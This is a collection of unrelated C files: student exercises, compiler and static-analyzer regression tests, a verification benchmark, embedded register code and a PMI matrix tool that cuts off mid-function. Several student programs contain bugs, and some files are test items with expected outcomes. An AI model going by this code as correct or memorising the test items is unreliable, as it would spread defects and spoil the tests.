void ler_vetor(int vet[],int n) {
int i;
for(i=0;i<n;i++)
scanf("%d",&vet[i]);
}
int busca_maior(int vet[], int n, int valor) {
int i;
i = 0;
while((i<n)&&(valor!=vet[i]))
i++;
if(i==n)
printf("NAO ACHEI\n");
else printf("ACHEI\n");
}
int main() {
int n, qtd, x, i, vetor[Max];
scanf("%d",&n);
ler_vetor(vetor,n); //vetor = &vetor[0]
scanf("%d",&qtd);
for(i=0;i<qtd;i++) {
scanf("%d",&x);
busca_valor
(vetor,n,x);
}
return 0;
} |
the_stack_data/105101.c | /* ========================================================================== */
/* === colamd_global.c ====================================================== */
/* ========================================================================== */
/* ----------------------------------------------------------------------------
* COLAMD, Copyright (C) 2007, Timothy A. Davis.
* See License.txt for the Version 2.1 of the GNU Lesser General Public License
* http://www.suitesparse.com
* -------------------------------------------------------------------------- */
/* Global variables for COLAMD */
#ifndef NPRINT
#ifdef MATLAB_MEX_FILE
#include "mex.h"
int (*colamd_printf) (const char *, ...) = mexPrintf ;
#else
#include <stdio.h>
int (*colamd_printf) (const char *, ...) = printf ;
#endif
#else
int (*colamd_printf) (const char *, ...) = ((void *) 0) ;
#endif
|
the_stack_data/90765359.c | /* $OpenBSD: malloc_ulimit1.c,v 1.2 2006/05/16 05:47:13 otto Exp $ */
/* Public Domain, 2006, Otto Moerbeek <[email protected]> */
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <err.h>
#include <stdlib.h>
#include <stdio.h>
/*
* This code tries to trigger the case present in -current as of April
* 2006) where the allocation of the region itself succeeds, but the
* page dir entry pages fails.
* This in turn trips a "hole in directories" error.
* Having a large (512M) ulimit -m helps a lot in triggering the
* problem. Note that you may need to run this test multiple times to
* see the error.
*/
#define STARTI 1300
#define FACTOR 1024
main()
{
struct rlimit lim;
size_t sz;
int i;
void *p;
if (getrlimit(RLIMIT_DATA, &lim) == -1)
err(1, "getrlimit");
sz = lim.rlim_cur / FACTOR;
for (i = STARTI; i >= 0; i--) {
size_t len = (sz-i) * FACTOR;
p = malloc(len);
free(p);
free(malloc(4096));
}
return (0);
}
|
the_stack_data/24068.c | // C programm use int main()
#include<stdio.h>
int main()
{
int i = 1;
printf("%d %d %d\n", ++i, i++, i);
return 0;
} |
the_stack_data/713725.c | #include<stdio.h>
#include<stdlib.h>
struct fracao{
int num;
int den;
float decimal;
};
int main(void){
int n,m=0,i=0,j=0,k=0,l=0,aux=0,a=0,b=0;
struct fracao *frac1;
frac1 = (struct fracao *)malloc(sizeof(struct fracao));
scanf("%d",&n);
getchar();
for(i=0; i<n; i++){
while( m != '\n' ){
frac1 = (struct fracao *) realloc( frac1, (j+1)*sizeof(struct fracao) );
scanf("%d/%d",&frac1[j].num,&frac1[j].den);
m=getchar();
j++;
}
for(k=0; k<j; k++){
frac1[k].decimal=(float)frac1[k].num/(float)frac1[k].den;
}
printf("Caso de teste %d\n",i+1);
for(k=0; k<j; k++){
for(l=k+1; l<j; l++){
if(frac1[k].decimal==frac1[l].decimal){
printf("%d/%d equivalente a %d/%d\n",frac1[k].num,frac1[k].den,frac1[l].num,frac1[l].den);
aux=1;
}
}
}
if(aux==0)
printf("Nao ha fracoes equivalentes na sequencia\n");
aux=0;
j=0;
m=0;
}
return 0;
}
|
the_stack_data/132952024.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
//original file: EBStack.java
//amino-cbbs\trunk\amino\java\src\main\java\org\amino\ds\lockfree
//push only
#include "pthread.h"
#define assume(e) __VERIFIER_assume(e)
#define assert(e) { if(!(e)) { ERROR: __VERIFIER_error(); (void)0; } }
void __VERIFIER_atomic_acquire(int * m)
{
/* reachable */
assume(*m==0);
*m = 1;
}
void __VERIFIER_atomic_release(int * m)
{
assume(*m==1);
*m = 0;
}
void __VERIFIER_atomic_CAS(
int *v,
int e,
int u,
int *r)
{
if(*v == e)
{
*v = u, *r = 1;
}
else
{
*r = 0;
}
}
#define MEMSIZE (2*320+1) //0 for "NULL"
int memory[MEMSIZE];
#define INDIR(cell,idx) memory[cell+idx]
int next_alloc_idx = 1;
int m = 0;
int top;
inline int index_malloc(){
int curr_alloc_idx = -1;
__VERIFIER_atomic_acquire(&m);
if(next_alloc_idx+2-1 > MEMSIZE){
__VERIFIER_atomic_release(&m);
curr_alloc_idx = 0;
}else{
curr_alloc_idx = next_alloc_idx;
next_alloc_idx += 2;
__VERIFIER_atomic_release(&m);
}
return curr_alloc_idx;
}
inline void EBStack_init(){
top = 0;
}
inline int isEmpty() {
if(top == 0)
return 1;
else
return 0;
}
inline int push(int d) {
int oldTop = -1, newTop = -1, casret = -1;
newTop = index_malloc();
if(newTop == 0){
return 0;
}else{
INDIR(newTop,0) = d;
while (1) {
oldTop = top;
INDIR(newTop,1) = oldTop;
__VERIFIER_atomic_CAS(&top,oldTop,newTop,&casret);
if(casret==1){
return 1;
}
}
}
}
void __VERIFIER_atomic_assert(int r)
{
assert(!r || !isEmpty());
}
inline void push_loop(){
int r = -1;
int arg = __VERIFIER_nondet_int();
while(1){
r = push(arg);
__VERIFIER_atomic_assert(r);
}
}
int m2 = 0;
int state = 0;
void* thr1(void* arg)
{
__VERIFIER_atomic_acquire(&m2);
switch(state)
{
case 0:
EBStack_init();
state = 1;
//fall-through
case 1:
__VERIFIER_atomic_release(&m2);
push_loop();
break;
}
/* reachable */
return 0;
}
int main()
{
pthread_t t;
/* reachable */
while(1) { /* reachable */
pthread_create(&t, 0, thr1, 0); }
/* UNREACHABLE */
}
|
the_stack_data/64201147.c | /* Test operation of -Wparentheses. Warnings for assignments used as
truth-values. */
/* Origin: Joseph Myers <[email protected]> */
/* { dg-do compile } */
/* { dg-options "-Wparentheses -std=gnu99" } */
int foo (int);
int a, b, c;
_Bool d;
int
bar (void)
{
if (a = b) /* { dg-warning "assignment" "correct warning" } */
foo (0);
if ((a = b))
foo (1);
if (a = a) /* { dg-warning "assignment" "correct warning" } */
foo (2);
if ((a = a))
foo (3);
if (b = c) /* { dg-warning "assignment" "correct warning" } */
foo (4);
else
foo (5);
if ((b = c))
foo (6);
else
foo (7);
if (b = b) /* { dg-warning "assignment" "correct warning" } */
foo (8);
else
foo (9);
if ((b = b))
foo (10);
else
foo (11);
while (c = b) /* { dg-warning "assignment" "correct warning" } */
foo (12);
while ((c = b))
foo (13);
while (c = c) /* { dg-warning "assignment" "correct warning" } */
foo (14);
while ((c = c))
foo (15);
do foo (16); while (a = b); /* { dg-warning "assignment" "correct warning" } */
do foo (17); while ((a = b));
do foo (18); while (a = a); /* { dg-warning "assignment" "correct warning" } */
do foo (19); while ((a = a));
for (;c = b;) /* { dg-warning "assignment" "correct warning" } */
foo (20);
for (;(c = b);)
foo (21);
for (;c = c;) /* { dg-warning "assignment" "correct warning" } */
foo (22);
for (;(c = c);)
foo (23);
d = a = b; /* { dg-warning "assignment" "correct warning" } */
foo (24);
d = (a = b);
foo (25);
d = a = a; /* { dg-warning "assignment" "correct warning" } */
foo (26);
d = (a = a);
foo (27);
}
|
the_stack_data/87636541.c | /* Copyright 2017-present Samsung Electronics Co., Ltd. and other contributors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#if defined(__APPLE__)
#include "module/iotjs_module_pwm.h"
#include "iotjs_module_unimplemented.inl.h"
void iotjs_pwm_initialize() IOTJS_MODULE_UNIMPLEMENTED();
void ExportWorker(uv_work_t* work_req) IOTJS_MODULE_UNIMPLEMENTED();
void SetPeriodWorker(uv_work_t* work_req) IOTJS_MODULE_UNIMPLEMENTED();
void SetFrequencyWorker(uv_work_t* work_req) IOTJS_MODULE_UNIMPLEMENTED();
void SetDutyCycleWorker(uv_work_t* work_req) IOTJS_MODULE_UNIMPLEMENTED();
void SetEnableWorker(uv_work_t* work_req) IOTJS_MODULE_UNIMPLEMENTED();
void UnexportWorker(uv_work_t* work_req) IOTJS_MODULE_UNIMPLEMENTED();
#endif // __APPLE__
|
the_stack_data/692854.c | # include <stdio.h>
int main(){
int n1 = 20, n2 = 11, resp;
// condição ação(True) ação(False)
n1 > n2 ? (printf("Sim\n")): (printf("Nao\n"));
n1 > n2 ? (resp = 10): (resp = -10);
printf("%i", resp);
return 0;
} |
the_stack_data/150141786.c | #include <stdio.h>
#include <stdlib.h>
int main()
{
// Automatização do Xampp
system("cd /opt/lampp/ ; ./manager-linux-x64.run");
sleep(2);
system("apachectl stop");
system("service mysql stop");
return 0;
} |
the_stack_data/594777.c | // bsearch_ex.c : bsearch() example
// -------------------------------------------------------------
#include <stdlib.h>
// void *bsearch( const void *key, const void *array, size_t n, size_t size,
// int (*compare)(const void *, const void *));
#include <stdio.h>
typedef struct { unsigned long id;
int data;
} record ;
int main()
{
//Declare comparison function:
int id_cmp(const void *s1, const void *s2);
record recordset[] = { {3, 5}, {5, -5}, {4, 10}, {2, 2}, {1, -17} };
record querykey;
record *found = NULL;
int recordcount = sizeof( recordset ) / sizeof ( record );
printf( "Query record number: ");
scanf( "%lu", &querykey.id );
printf( "\nRecords before sorting:\n\n"
"%8s %8s %8s\n", "Index", "ID", "Data" );
for ( int i = 0; i < recordcount ; i++ )
printf( "%8d %8u %8d\n", i, recordset[i].id, recordset[i].data );
qsort( recordset, recordcount, sizeof( record ), id_cmp );
printf( "\nRecords after sorting:\n\n"
"%8s %8s %8s\n", "Index", "ID", "Data" );
for ( int i = 0; i < recordcount ; i++ )
printf( "%8d %8u %8d\n", i, recordset[i].id, recordset[i].data );
found = (record *) bsearch( &querykey, recordset, recordcount,
sizeof( record ), id_cmp );
if ( found == NULL )
printf( "No record with the ID %lu found.\n", querykey.id );
else
printf( "The data value in record %lu is %d.\n",
querykey.id, found->data );
} // End of main().
int id_cmp(const void *s1, const void *s2)
/* Compares records by ID, not data content. */
{
record *p1 = (record *)s1;
record *p2 = (record *)s2;
if ( p1->id < p2->id ) return -1;
else if ( p1->id == p2->id ) return 0;
else return 1;
}
|
the_stack_data/59513345.c | // RUN: %clang_cc1 %s -emit-llvm -o - | FileCheck %s
__attribute((annotate("foo"))) char foo;
void a(char *a) {
__attribute__((annotate("bar"))) static char bar;
}
// CHECK: private unnamed_addr global
// CHECK: private unnamed_addr global
// CHECK: @llvm.global.annotations = appending global [2 x %0]
|
the_stack_data/133495.c | // PARAM: --set solver td3 --enable ana.base.partition-arrays.enabled --set ana.activated "['base','threadid','threadflag','escape','expRelation','mallocWrapper']" --set ana.base.privatization none --enable annotation.int.enabled --set ana.int.refinement fixpoint
void example1() __attribute__((goblint_precision("no-def_exc","interval")));
void init_array(int* arr, int val) __attribute__((goblint_precision("no-def_exc","interval")));
void example2(void) __attribute__((goblint_precision("no-def_exc","interval")));
void callee(int* arr) __attribute__((goblint_precision("no-def_exc","interval"))) ;
int main(void) {
example1();
example2();
}
// ----------------------------------- Example 1 ------------------------------------------------------------------------------
void example1() {
int a[20];
int b[20];
init_array(a, 42);
assert(a[2] == 42);
assert(a[10] == 42);
do_first(a);
assert(a[0] == 3);
init_array(b,12);
assert(b[2] == 12);
assert(b[10] == 12);
}
void do_first(int* arr) {
int x = arr[0];
arr[0] = 3;
}
void init_array(int* arr, int val) {
for(int i = 0; i < 20; i++) {
arr[i] = val;
}
arr[0] = val;
assert(arr[2] == val);
assert(arr[10] == val);
}
// ----------------------------------- Example 2 ------------------------------------------------------------------------------
void example2(void) {
int arr[20];
for(int i = 0; i < 20; i++)
{
arr[i] = 42;
assert(arr[i] == 42);
callee(arr);
}
assert(arr[0] == 100); //FAIL
assert(arr[0] == 7); //UNKNOWN
assert(arr[0] == 42); //UNKNOWN
assert(arr[7] == 100); //FAIL
assert(arr[7] == 7); //UNKNOWN
assert(arr[7] == 42); //UNKNOWN
assert(arr[20] == 100); //FAIL
assert(arr[20] == 7); //UNKNOWN
assert(arr[20] == 42); //UNKNOWN
}
void callee(int* arr) {
arr[0] = 7;
}
|
the_stack_data/94966.c | #include <stdio.h>
#include <ctype.h>
#include <stdint.h>
int myAtoi (char* str) {
uint32_t ans = 0;
signed char positive = 1;
while (isspace(*str))
str++;
if (*str == '-')
positive = 0, str++;
else if (*str == '+')
str++;
while (isdigit(*str)) {
if (ans > INT32_MAX / 10)
return positive ? INT32_MAX : INT32_MIN;
int ne = ans * 10 + *str - '0';
if (ne > (uint32_t)INT32_MAX)
return positive ? INT32_MAX : INT32_MIN;
ans = ne;
str++;
}
return positive ? ans : -ans;
}
int main () {
printf("%d\n", myAtoi(" 10522545459"));
printf("%d\n", myAtoi("2147483648"));
return 0;
}
|
the_stack_data/9732.c | /*
* Return the ptr in sp at which the character c appears;
* NULL if not found
*/
#define NULL 0
char *index(char *sp, char c)
{
do {
if (*sp == c)
return(sp);
} while (*sp++);
return(NULL);
}
|
the_stack_data/51635.c |
//!void grava_eeprom(int addr, int32 dados){
//! int vetor[4] = {0,0,0,0},i;
//!
//! for(i = ; i < 4; i++){
//!
//! }
//!
//!}
|
the_stack_data/76173.c | /**
******************************************************************************
* @file main.c
* @author Auto-generated by STM32CubeIDE
* @version V1.0
* @brief Default main function.
******************************************************************************
*/
#include<stdint.h>
int main(void)
{
uint32_t volatile *const pClkCtrlReg = (uint32_t*)0x40023830;
uint32_t volatile *const pPortDModeReg = (uint32_t*)0x40020C00;
uint32_t volatile *const pPortDOutReg = (uint32_t*)0x40020C14;
uint32_t volatile *const pPortAModeReg = (uint32_t*)0x40020000;
uint32_t const volatile *const pPortAInReg = (uint32_t*)0x40020010;
//enable the clock for GPOID , GPIOA peripherals in the AHB1ENR
*pClkCtrlReg |= ( 1 << 3);
*pClkCtrlReg |= ( 1 << 0);
//configuring PD12 as output
*pPortDModeReg &= ~( 3 << 24);
//make 24th bit position as 1 (SET)
*pPortDModeReg |= ( 1 << 24);
//Configure PA0 as input mode (GPIOA MODE REGISTER)
*pPortAModeReg &= ~(3 << 0);
while(1)
{
//read the pin status of the pin PA0 (GPIOA INPUT DATA REGISTER)
uint8_t pinStatus = (uint8_t)(*pPortAInReg & 0x1); //zero out all other bits except bit 0
if(pinStatus){
//turn on the LED
*pPortDOutReg |= ( 1 << 12);
}else{
//turn off the LED
*pPortDOutReg &= ~( 1 << 12);
}
}
}
|
the_stack_data/179832036.c | // PARAM: --set ana.malloc.wrappers "['myalloc']"
// Copied & modified from 02/20.
#include <stdlib.h>
#include <assert.h>
void *myalloc(size_t n) {
return malloc(n);
}
int main() {
int *x = myalloc(sizeof(int));
int *y = myalloc(sizeof(int));
int *p;
*x = 0;
*y = 1;
assert(*x == 0);
assert(*y == 1);
p = x; x = y; y = p;
assert(*x == 1);
assert(*y == 0);
return 0;
}
|
the_stack_data/657707.c | /*
Test:
check boolean
*/
#include "stdio.h"
#include "stdint.h"
#include "stdlib.h"
#include "string.h"
int __attribute__ ((noinline)) bar(int32_t y) {
// may be unsolvable
return y + y * y * 3 == 75;
}
int main (int argc, char** argv) {
if (argc < 2) return 0;
FILE *fp;
char buf[255];
size_t ret;
fp = fopen(argv[1], "rb");
if (!fp) {
printf("st err\n");
return 0;
}
int len = 10;
//dfsan_read_label(&(len), sizeof *buf);
ret = fread(buf, sizeof *buf, len, fp);
fclose(fp);
if (ret < len) {
printf("input fail \n");
return 0;
}
int32_t x = 0;
memcpy(&x, buf + 1, 4); // x 0 - 1
if (bar(x)==0) {
printf("haha\n");
}
return 0;
}
|
the_stack_data/170453258.c | /*
* ====================================================
* Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
*
* Developed at SunPro, a Sun Microsystems, Inc. business.
* Permission to use, copy, modify, and distribute this
* software is freely granted, provided that this notice
* is preserved.
* ====================================================
*/
extern int printf(const char *, ...);
static const unsigned
B1 = 715094163, /* B1 = (682-0.03306235651)*2**20 */
B2 = 696219795; /* B2 = (664-0.03306235651)*2**20 */
static const double
C = 5.42857142857142815906e-01, /* 19/35 = 0x3FE15F15, 0xF15F15F1 */
D = -7.05306122448979611050e-01, /* -864/1225 = 0xBFE691DE, 0x2532C834 */
E = 1.41428571428571436819e+00, /* 99/70 = 0x3FF6A0EA, 0x0EA0EA0F */
F = 1.60714285714285720630e+00, /* 45/28 = 0x3FF9B6DB, 0x6DB6DB6E */
G = 3.57142857142857150787e-01; /* 5/14 = 0x3FD6DB6D, 0xB6DB6DB7 */
static double cbrtl (double x)
{
int hx;
double r,s,w;
double lt;
unsigned sign;
union {
double t;
unsigned pt[2];
} ut, ux;
int n0;
ut.t = 1.0;
n0 = (ut.pt[0] == 0);
ut.t = 0.0;
ux.t = x;
hx = ux.pt[n0]; /* high word of x */
sign=hx&0x80000000; /* sign= sign(x) */
hx ^=sign;
if(hx>=0x7ff00000) return(x+x); /* cbrt(NaN,INF) is itself */
if((hx| ux.pt[1-n0])==0)
return(ux.t); /* cbrt(0) is itself */
ux.pt[n0] = hx;
/* rough cbrt to 5 bits */
if(hx<0x00100000) { /* subnormal number */
ut.pt[n0]=0x43500000; /* set t= 2**54 */
ut.t*=x; ut.pt[n0]=ut.pt[n0]/3+B2;
}
else
ut.pt[n0]=hx/3+B1;
/* new cbrt to 23 bits, may be implemented in single precision */
r=ut.t*ut.t/ux.t;
s=C+r*ut.t;
ut.t*=G+F/(s+E+D/s);
/* chopped to 20 bits and make it larger than cbrt(x) */
ut.pt[1-n0]=0; ut.pt[n0]+=0x00000001;
/* one step newton iteration to 53 bits with error less than 0.667 ulps */
s=ut.t*ut.t; /* t*t is exact */
r=ux.t/s;
w=ut.t+ut.t;
r=(r-ut.t)/(w+r); /* r-s is exact */
ut.t=ut.t+ut.t*r;
/* restore the sign bit */
ut.pt[n0] |= sign;
lt = ut.t;
lt -= (lt - (x/(lt*lt))) * 0.333333333333333333333;
return lt;
}
#define abort() printf("Failed test\n")
#define pass() printf("Passed test\n")
int main (void)
{
if ((int) (cbrtl (27.0) + 0.5) != 3)
abort ();
else
pass();
return 0;
}
#ifdef EiCTeStS
main ();
#endif
|
the_stack_data/220456214.c | #include <stdio.h>
#include <sys/stat.h>
#include <stdbool.h>
#include <stdlib.h>
#include <dirent.h>
#include <unistd.h>
#include <string.h>
static int num_dirs, num_regular;
bool is_dir(const char* path) {
/*
* Use the stat() function (try "man 2 stat") to determine if the file
* referenced by path is a directory or not. Call stat, and then use
* S_ISDIR to see if the file is a directory. Make sure you check the
* return value from stat() in case there is a problem, e.g., maybe the
* the file doesn't actually exist.
*/
struct stat buffer;
if(stat(path, &buffer) == 0){
if(S_ISDIR(buffer.st_mode)){
return true;
}
else{
return false;
}
}
else{
return false;
}
}
/*
* I needed this because the multiple recursion means there's no way to
* order them so that the definitions all precede the cause.
*/
void process_path(const char*);
void process_directory(const char* path) {
/*
* Update the number of directories seen, use opendir() to open the
* directory, and then use readdir() to loop through the entries
* and process them. You have to be careful not to process the
* "." and ".." directory entries, or you'll end up spinning in
* (infinite) loops. Also make sure you closedir() when you're done.
*
* You'll also want to use chdir() to move into this new directory,
* with a matching call to chdir() to move back out of it when you're
* done.
*/
DIR *directory;
struct dirent *dir;
chdir(path);
directory=opendir(".");
if(directory == NULL){
return;
}
num_dirs++;
while((dir = readdir(directory)) != NULL){
if(strcmp(dir ->d_name, ".") && strcmp(dir ->d_name, "..") != 0){
process_path(dir->d_name);
}
}
closedir(directory);
chdir("..");
}
void process_file(const char* path) {
/*
* Update the number of regular files.
* This is as simple as it seems. :-)
*/
num_regular++;
}
void process_path(const char* path) {
if (is_dir(path)) {
process_directory(path);
} else {
process_file(path);
}
}
int main (int argc, char *argv[]) {
// Ensure an argument was provided.
if (argc != 2) {
printf ("Usage: %s <path>\n", argv[0]);
printf (" where <path> is the file or root of the tree you want to summarize.\n");
return 1;
}
num_dirs = 0;
num_regular = 0;
process_path(argv[1]);
printf("There were %d directories.\n", num_dirs);
printf("There were %d regular files.\n", num_regular);
return 0;
}
|
the_stack_data/430213.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define AUTHKEY "a12ae7e8"
#define TAMINICIAL 100
typedef struct chaves{
char key1[51];
char conteudo[1001];
}chaves;
typedef struct tags{
char tag[1001];
char key2[51];
}tags;
typedef struct hits{
char rep[10000];
int vet[10000];
}hits;
int ADD_KEY (chaves K[],int keycont, int TotalK)
{
if(keycont + 1 == TotalK)
{
TotalK = TotalK + TAMINICIAL;
K = realloc(K, (TotalK)*sizeof (chaves));
}
scanf(" %s:",K[keycont].key1);
scanf(" %[^\n]s",K[keycont].conteudo);
return(keycont);
}
int TAG_HIT (tags T[], int tagcont,int TotalT)
{
if(tagcont + 1 == TotalT)
{
TotalT = TotalT + TAMINICIAL;
T = realloc(T, (TotalT)*sizeof (tags));
}
scanf(" %s",T[tagcont].tag);
scanf(" %s",T[tagcont].key2);
return(tagcont);
}
void QUICK_SORT_TAG(tags T[], int left, int right)
{
int i, j , m;
tags x;
tags aux;
i = left;
j = right;
m = (left+right)/2;
x = T[m];
while(i < j)
{
while((strcmp(T[i].tag,x.tag) < 0) && (i < right))
{
i++;
}
while((strcmp(T[j].tag,x.tag) > 0) && (j > left))
{
j--;
}
if(i <= j)
{
aux = T[i];
T[i] = T[j];
T[j] = aux;
i++;
j--;
}
}
if(left < j)
{
QUICK_SORT_TAG(T, left, j);
}
if(i < right)
{
QUICK_SORT_TAG(T, i, right);
}
}
void QUICK_SORT_KEY(chaves K[], int left, int right)
{
int i, j , m;
chaves x;
chaves aux;
i = left;
j = right;
m = (left+right)/2;
x = K[m];
do
{
while((strcmp(K[i].key1,x.key1) < 0) && (i < right))
{
i++;
}
while((strcmp(K[j].key1,x.key1) > 0) && (j > left))
{
j--;
}
if(i <= j)
{
aux = K[i];
K[i] = K[j];
K[j] = aux;
i++;
j--;
}
} while(i <= j);
if(left < j)
{
QUICK_SORT_KEY(K, left, j);
}
if(i < right)
{
QUICK_SORT_KEY(K, i, right);
}
}
int BUSCA_TAG (tags T[], char Tg[], int tagcont)
{
int l, m, r;
l = 0; //left
r = tagcont-1; //right
while (l <= r)
{ //middle
m = (l + r)/2;
if (strcmp(Tg, T[m].tag) == 0)
{
return(m);
}
else if (strcmp(Tg, T[m].tag) > 0)
{
l = m + 1;
}
else
{
r = m - 1;
}
}
return -1;
}
int BUSCA_KEY (chaves K[], char Tg[], int keycont)
{
int l, m, r;
l = 0; //left
r = keycont-1; //right
while (l <= r)
{
m = (l + r)/2; //middle
if (strcmp(Tg, K[m].key1) == 0)
{
return(m);
}
else if (strcmp(Tg, K[m].key1) > 0)
{
l = m + 1;
}
else
{
r = m - 1;
}
}
return -1;
}
void SHOW_TAG(tags T[],chaves K[], int tagcont,int keycont)
{
int x,y;
char Tg[1001];
scanf(" %s",Tg);
x = 0;
y = 0;
QUICK_SORT_TAG(T, 0, tagcont-1);
QUICK_SORT_KEY(K, 0, keycont-1);
y = BUSCA_TAG(T, Tg, tagcont);
x = BUSCA_KEY(K, T[y].tag, keycont);
if(y == -1)
{
printf("TAG");
}
else
if(x == -1)
{
printf("KEY");
}
{
printf("#%s -> %s\n",T[y].tag,T[y].key2);
printf("%s :. %s\n",K[x].key1,K[x].conteudo);
}
}
//int TREND_TOP()
//int TREND_BOTTOM()
//int DUMP_TAGS()
//int DUMP_KEYS()
int main (void)
{
chaves *K;
tags *T;
hits *H;
int d,f;
K = malloc(TAMINICIAL*sizeof (chaves));
T = malloc(TAMINICIAL*sizeof (tags));
H = malloc(TAMINICIAL*sizeof (hits));
int TotalT, TotalK;
int keycont, tagcont;
TotalT = TotalK = TAMINICIAL;
keycont = tagcont = 0;
char string1 [10],string2[10],string3[50];
while(scanf("%s %s",string1,string2) != EOF)
{
if(strcmp(string1,"add") == 0 && strcmp(string2,"key") == 0)
{
ADD_KEY(K, keycont, TotalK);
keycont++;
}
else if(strcmp(string1,"tag") == 0 && strcmp(string2,"hit") == 0)
{
TAG_HIT(T, tagcont, TotalT);
tagcont++;
}
else if(strcmp(string1,"show") == 0 && strcmp(string2,"tagcontent") == 0)
{
SHOW_TAG(T, K, tagcont, keycont);
}
/*else if(strcmp(string1,"list") == 0 && strcmp(string1,"trending") == 0)
{
//ler string3
if(strcmp(string3,"top") == 0)
{
TREND_TOP();
}
else if(strcmp(string3,"bottom") == 0)
{
TREND_BOTTOM();
}
}
else if(strcmp(string1,"dump") == 0)
{
if(strcmp(string2,"tags") == 0)
{
DUMP_TAGS();
}
else if(strcmp(string2,"keys") == 0)
{
DUMP_KEYS();
}
}*/
}
QUICK_SORT_TAG(T, 0, tagcont-1);
QUICK_SORT_KEY(K, 0, keycont-1);
for(d=0;d<keycont;d++)
{
printf("\n%s - %s\n",K[d].key1,K[d].conteudo);
}
for(f=0;f<tagcont;f++)
{
printf("\n%s - %s\n",T[f].tag,T[f].key2);
}
return 0;
}
|
the_stack_data/1127055.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <float.h>
#include <math.h>
#define BUFF_SIZE 16777216 // 16 * 1024 * 1024
#define MAX_FILE_NAME 2048
#define DEFAULT_WRITE 1
#define DEFAULT_SHIFT 0.0
#define DEFAULT_SMOOTH 0.0
#define DEFAULT_CONTEXT_SMOOTH 0.0
#define DEFAULT_SMOOTH_TYPE 2
#define DEFAULT_CUTP -DBL_MAX
#define DEFAULT_CUTN -DBL_MAX
typedef struct collocation {
int row;
int col;
double val;
} COLLOC;
typedef struct collocation_pmi {
int row;
int col;
double val;
double pmi;
} COLLOC_P;
typedef struct collocation_npmi {
int row;
int col;
double val;
double pmi;
double npmi;
} COLLOC_NP;
void scan_rowcol(char *path, int *nrow, int *ncol, int *nrec)
{
COLLOC *buffer = (COLLOC*)malloc(sizeof(COLLOC) * BUFF_SIZE);
if (buffer == NULL) { printf("Memory allocation failed.\r\n"); exit(EXIT_FAILURE); }
int i, n;
*nrow = -1;
*ncol = -1;
*nrec = 0;
FILE *fid = fopen(path, "rb");
if (fid == NULL) { printf("Error: could not open input file \"%s\".\r\n", path); exit(EXIT_FAILURE); }
do
{
n = fread(buffer, sizeof(COLLOC), BUFF_SIZE, fid);
*nrec += n;
for (i = 0; i < n; i++)
{
if (buffer[i].row > *nrow)
*nrow = buffer[i].row;
if (buffer[i].col > *ncol)
*ncol = buffer[i].col;
}
} while (n == BUFF_SIZE);
fclose(fid);
free(buffer); buffer = NULL;
(*nrow)++; // works for both 0-based and 1-based indexing
(*ncol)++; // works for both 0-based and 1-based indexing
}
void calc_stats(char *path, double *sum_row, int nrow, double *sum_col, int ncol, double *sumsum, double smooth, int smooth_type, double context_dist_smooth)
{
int i, n;
COLLOC *buffer = (COLLOC*)malloc(sizeof(COLLOC) * BUFF_SIZE);
if (buffer == NULL) { printf("Memory allocation failed.\r\n"); exit(EXIT_FAILURE); }
FILE *fid = fopen(path, "rb");
if (fid == NULL) { printf("Error: could not open input file \"%s\".\r\n", path); exit(EXIT_FAILURE); }
*sumsum = 0;
for (i = 0; i < nrow; i++)
sum_row[i] = 0.0;
for (i = 0; i < ncol; i++)
sum_col[i] = 0.0;
do
{
n = fread(buffer, sizeof(COLLOC), BUFF_SIZE, fid);
for (i = 0; i < n; i++)
{
if (smooth_type >= 2)
{
sum_row[buffer[i].row] += (buffer[i].val + smooth);
sum_col[buffer[i].col] += (buffer[i].val + smooth);
*sumsum += (buffer[i].val + smooth);
}
else
{
sum_row[buffer[i].row] += buffer[i].val;
sum_col[buffer[i].col] += buffer[i].val;
*sumsum += buffer[i].val;
}
}
} while (n == BUFF_SIZE);
fclose(fid);
free(buffer); buffer = NULL;
if (smooth_type <= 1)
{
*sumsum += ((double)nrow * (double)ncol * smooth);
for (i = 0; i < nrow; i++)
sum_row[i] += ((double)ncol * smooth);
for (i = 0; i < ncol; i++)
sum_col[i] = ((double)nrow * smooth);
}
double temp;
for (i = 0, temp = 0.0; i < nrow; i++)
temp += sum_row[i];
for (i = 0; i < nrow; i++)
sum_row[i] /= temp;
for (i = 0, temp = 0.0; i < ncol; i++)
{
if (context_dist_smooth > DBL_MIN)
sum_col[i] = pow(sum_col[i], context_dist_smooth);
temp += sum_col[i];
}
for (i = 0; i < ncol; i++)
sum_col[i] /= temp;
}
void copy_0_np(COLLOC *source, COLLOC_NP *dest)
{
dest->row = source->row;
dest->col = source->col;
dest->val = source->val;
}
void copy_np_0(COLLOC_NP *source, COLLOC *dest, double shift, int write_type)
{
dest->row = source->row;
dest->col = source->col;
if (write_type == 0)
dest->val = source->val;
else if (write_type == 1)
dest->val = source->pmi + shift;
else
dest->val = source->npmi + shift;
}
void copy_np_1(COLLOC_NP *source, COLLOC_P *dest, double shift, int write_type)
{
dest->row = source->row;
dest->col = source->col;
if (write_type == 3)
{
dest->val = source->val;
dest->pmi = source->pmi + shift;
}
else if (write_type == 4)
{
dest->val = source->val;
dest->pmi = source->npmi + shift;
}
else
{
dest->val = source->pmi + shift;
dest->pmi = source->npmi + shift;
}
}
void copy_np_2(COLLOC_NP *source, COLLOC_NP *dest, double shift)
{
dest->row = source->row;
dest->col = source->col;
dest->val = source->val;
dest->pmi = source->pmi + shift;
dest->npmi = source->npmi + shift;
}
int write_chunk(COLLOC_NP *buffer, int count, int write_type, double cutp, double cutn, double shift, FILE *fid)
{
int i, idx = 0, cnt_write = 0;
for (i = 0; i < count; i++)
if (buffer[i].pmi > cutp && buffer[i].npmi > cutn)
cnt_write++;
if (write_type == 0 || write_type == 1 || write_type == 2)
{
COLLOC *buffer_w = (COLLOC*)malloc(sizeof(COLLOC) * cnt_write);
for (i = 0; i < count; i++)
{
if (buffer[i].pmi > cutp && buffer[i].npmi > cutn)
{
